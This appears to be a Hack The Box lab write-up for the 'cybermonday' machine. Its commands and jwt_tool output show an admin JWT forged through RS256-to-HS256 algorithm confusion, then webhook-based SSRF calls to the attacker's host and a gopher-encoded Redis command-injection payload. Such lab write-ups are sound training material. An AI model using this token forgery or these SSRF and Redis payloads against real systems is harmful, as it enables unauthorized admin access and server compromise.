JWT_Forgery


As discovered previously, I found the private key of the JWT, which appears to be used for the API access control with the x-access-token cookie Knowing this would allow me to forge a JWT to impersonate other users which potentially opens up a door to other attack vectors

Public Key Extraction


┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -s http://webhooks-api-beta.cybermonday.htb/jwks.json -o jwks.json

I will first download the jwks.json file to Kali

┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJhcGl1c2VyIiwicm9sZSI6InVzZXIifQ.cmh44nhZ-7yjOkacgLB5QOXmks1p50VxqZh_1Yn-VxzUxj64XdtjtZDsQRDxpCTXfnGi2yZ6Fw3xP9DGoY1p75-aJDhlXp0hO7AMb2I87TmDaXUs8kpwaP-akqbCLmSa1tHAFA7ZDz8aX1i-axBcBHdUSgBa1ddGHWkQbp-PiyZ3XwZyS52Pjg-OKbp2ZlFe8y1RyCagolLbro3yv1ghPA_Gpb7Wm1YDOcgD75uD1R2BTtiMc_S03tUy2Kdcv0LVNV4iqYXi6PUQPP5ZKNqbRIlZatdStXQdq5JPeEveoSCV5UfE6SHEigyUTmp1a29gsglCMD7xmFCtWAetKBY1Lg -V -jw jwks.json
 
        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.6                \______|             @ticarpi      
 
Original JWT: 
 
JWKS Contents:
Number of keys: 1
 
--------
Key 1
Key 1
[+] kty = RSA
[+] use = sig
[+] alg = RS256
[+] n = pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w
[+] e = AQAB
 
Found RSA key factors, generating a public key
[+] kid_0_1692692698.pem
 
Attempting to verify token using kid_0_1692692698.pem
RSA Signature is VALID

I can then extract the public key from the jwts.json file using jwt_tool I also supplied the existing x-access-token cookie. The public key is saved to the kid_0_1692692698.pem file

Impersonation


using the online tool, I can generate a forged JWT to impersonate the presumably existing admin user (“id”:1) here, i will be using hs256 to perform the algorithm confusion technique

Signing


┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ jwt_tool 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.KUV_kmYQR0jBkzt5nLR-FrHodQ7gH8H38E5eQT7nDgU' -S hs256 -k kid_0_1692692698.pem 
 
        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.2.6                \______|             @ticarpi      
 
Original JWT: 
 
=====================
Decoded Token Values:
=====================
 
Token header values:
[+] typ = "JWT"
[+] alg = "HS256"
 
Token payload values:
[+] id = 1
[+] username = "admin"
[+] role = "admin"
 
----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------
 
jwttool_9474c88de2235f81b546bc256389ec54 - Tampered token - HMAC Signing:
[+] eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE

I can then use the extracted public key to sign the forged JWT, so that it can validate to the private key; jwts.json using the algorithm confusion technique

Webhook Creation


Now that I have a valid admin session with the forged JWT, I might be able to abuse the privileges to make actions from the server side

┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -x post http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json"  -d '{"name": "SSRF", "description": "testing", "action": "sendRequest", "url": "http://<IPADDR>"}'
{"status":"success","message":"Done! Send me a request to execute the action, as the event listener is still being developed.","webhook_uuid":"6600466d-f555-4d53-9c75-cc01928a4001"}

Now as the admin user with the admin role, I can create an arbitrary webhook. I also supplied the url parameter to test out SSRF uuid of the webhook is 8de9df58-7220-4e7a-81d3-d7faa469f157

SSRF


┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/8de9df58-7220-4e7a-81d3-d7faa469f157 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json"  -d '{"action": "sendRequest", "url": "http://10.10.14.12", "method": "GET"}'
{"status":"success","message":"URL is live","response":"<!DOCTYPE HTML>\n<html lang=\"en\">\n<head>\n<meta charset=\"utf-8\">\n<title>Directory listing for \/<\/title>\n<\/head>\n<body>\n<h1>Directory listing for \/<\/h1>\n<hr>\n<ul>\n<li><a href=\"env\">env<\/a><\/li>\n<li><a href=\"git\/\">git\/<\/a><\/li>\n<li><a href=\"jwks.json\">jwks.json<\/a><\/li>\n<li><a href=\"jwt_tool\/\">jwt_tool\/<\/a><\/li>\n<li><a href=\"kid_0_1692692698.pem\">kid_0_1692692698.pem<\/a><\/li>\n<li><a href=\"phpggc\/\">phpggc\/<\/a><\/li>\n<\/ul>\n<hr>\n<\/body>\n<\/html>\n"}                                                                                                                                    

Now sending a POST method to the generated uuid above to have the web server send a GET request to the Kali web server

SSRF confirmed.

┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/8de9df58-7220-4e7a-81d3-d7faa469f157 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json"  -d '{"action": "sendRequest", "url": "http://127.0.0.1", "method": "GET"}'  
{"status":"error","message":"URL is not live"}                                                                                                                                     

Strangely, localhost doesn’t seem to respond back and it says that the URL is not live

┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/create -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json"  -d '{"name": "SSRF", "description": "Redis testing", "action": "redisCommand", "url": "<IPADDR>"}'
{"status":"error","message":"This action is not available","actions":["sendRequest","createLogFile"]}                                                                                                                               

While I was trying various different scenarios, I discovered that the actions parameter only has either sendRequest and createLogFile

┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/8de9df58-7220-4e7a-81d3-d7faa469f157 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json"  -d '{"action": "sendRequest", "url": "gopher://127.0.0.1:6379/_%250D%0A%250D%250A%0A%252A3%0A%250D%250A%0A%25243%0A%250D%250A%0ASET%0A%250D%250A%0A%25244%0A%250D%250A%0Auser%0A%250D%250A%0A%252418%0A%250D%250A%0Aping+-c+1+10.0.0.2%0A%250D%250A"}'
{"status":"error","message":"\"method\" not defined"}                                                                                                                                        
 
┌──(kali㉿kali)-[~/archive/htb/labs/cybermonday]
└─$ curl -X POST http://webhooks-api-beta.cybermonday.htb/webhooks/8de9df58-7220-4e7a-81d3-d7faa469f157 -H "x-access-token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6MSwidXNlcm5hbWUiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.hsjDWoGJbgx_ygJe9nlfu4dNZHUZuF3Igy43NfKQ7aE" -H "Content-Type: application/json"  -d '{"action": "sendRequest", "url": "http://127.0.0.1:6379/_%250D%0A%250D%250A%0A%252A3%0A%250D%250A%0A%25243%0A%250D%250A%0ASET%0A%250D%250A%0A%25244%0A%250D%250A%0Auser%0A%250D%250A%0A%252418%0A%250D%250A%0Aping+-c+1+10.10.14.20%0A%250D%250A", "method":"blah"}'
{"status":"error","message":"URL is not live"}                                                                                                                                        

Additionally, the method parameter appears to be required but doesn’t have a restriction on the value